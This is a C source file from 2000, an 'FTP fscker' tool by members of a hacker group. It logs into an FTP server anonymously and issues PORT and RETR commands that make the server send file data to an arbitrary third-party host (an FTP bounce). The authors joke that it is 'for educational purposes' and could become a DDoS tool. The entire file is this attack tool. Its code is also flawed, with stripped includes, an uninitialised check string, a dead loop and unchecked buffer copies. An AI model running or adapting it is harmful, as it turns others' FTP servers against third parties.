/* Release date 24-12-2000, Chrissie eve. My Christmas present to the world. FTP fscker By Phriction phric@legions.org & fejed fejed@legions.org / fejed@probemail.com USAGE: ./ftpfsck host x,x,x,x,y,y remote-file-name This code can be used to send ftpdata (includes files/directory listings) to remote hosts, as the ftp rfc standard allows, eg for file transfer to a terminal which does not have a ftp client or ftp to ftp transfer. For educational purposed only :P Might need a lil work done, could even be turned into a DDoS attack. ;p -fejed */ #include #include #include #include #include #include #include #include #include int socker,recvLg,recvPs,recvPt,recvMd,recvRt,recvTp,recvBf; struct sockaddr_in trgtaddr; struct hostent *hn; char login[20],pass[30],cmnd[30],buff0[5500],buffLg[500],buffPs[500]; char ok[5],PORT[20],buffPt[500],buffMd[500],MODE[10],RETR[20]; char buffRt[500],TYPE[20],buffTp[500],file[30],Gst[20]; char *hrfLg, *hrfPs, *hrfBf; void ftpfsck(void) { strcpy(login,"USER anonymous\n"); /* anon login, if not then subsitute it with what you'd like. */ strcpy(pass,"PASS bgates@microsoft.com\n"); /* email, eg user@host */ sprintf(RETR,"RETR %s\n",file); sprintf(cmnd,"PORT %s\n",PORT); strcpy(MODE,"MODE S\n"); strcpy(TYPE,"TYPE I\n"); strcpy(Gst,"apply"); socker=socket(AF_INET,SOCK_STREAM,0); if(socker<0) {perror("socket"); exit(0); } trgtaddr.sin_family = AF_INET; trgtaddr.sin_port = htons(21); trgtaddr.sin_addr = *((struct in_addr *)hn->h_addr); bzero(&(trgtaddr.sin_zero),8); if(connect(socker,(struct sockaddr *)&trgtaddr,sizeof(struct sockaddr))!=0) {perror("connect"); exit(0); } recv(socker,buff0,sizeof(buff0),0);/*those damn prelogins fsck me*/ send(socker,login,strlen(login),0); /* send login */ recvLg=recv(socker,buffLg,sizeof(buffLg),0); buffLg[recvLg]='\0'; hrfLg=strstr(buffLg,ok); /* check to see if login is ok */ if(hrfLg!=NULL) {printf("%s\n",buffLg);} else {printf("%s\n",buffLg); exit(0); } send(socker,pass,strlen(pass),0); /* send pass */ recvPs=recv(socker,buffPs,sizeof(buffPs),0); buffPs[recvPs]='\0'; hrfPs=strstr(buffPs,ok); /* check to see if pass is ok */ if(hrfPs!=NULL) { while(1<0) {printf("%s\n",buffPs); recvPs=recv(socker,buffPs,sizeof(buffPs),0); buffPs[recvPs]='\0'; hrfPs=strstr(buffPs,Gst); if(hrfPs!=NULL || buffPs==NULL) {printf("END %s\n",buffPs); break; } } } else {printf("%s\n",buffPs); exit(0); } printf("Sending : %s\n",TYPE); send(socker,TYPE,strlen(TYPE),0);/* send TYPE */ recvTp=recv(socker,buffTp,sizeof(buffTp),0); buffTp[recvTp]='\0'; printf("TYPE : %s\n",buffTp); printf("Sending %s\n",MODE); send(socker,MODE,strlen(MODE),0);/* send MODE */ recvMd=recv(socker,buffMd,sizeof(buffMd),0); buffMd[recvMd]='\0'; printf("MODE : %s\n",buffMd); printf("Sending %s\n",cmnd); send(socker,cmnd,strlen(cmnd),0); /* send PORT */ recvPt=recv(socker,buffPt,sizeof(buffPt),0); buffPt[recvPt]='\0'; printf("PORT : %s\n",buffPt); printf("Sending %s\n",RETR); send(socker,RETR,strlen(RETR),0);/* send RETR */ recvRt=recv(socker,buffRt,sizeof(buffRt),0); buffRt[recvRt]='\0'; printf("RETR : %s\n",buffRt); } int main(int argc, char **argv) { if((hn=gethostbyname(argv[1]))==NULL) { herror("gethostbyname"); exit(0); } strcpy(PORT,argv[2]); strcpy(file,argv[3]); ftpfsck(); return 0; }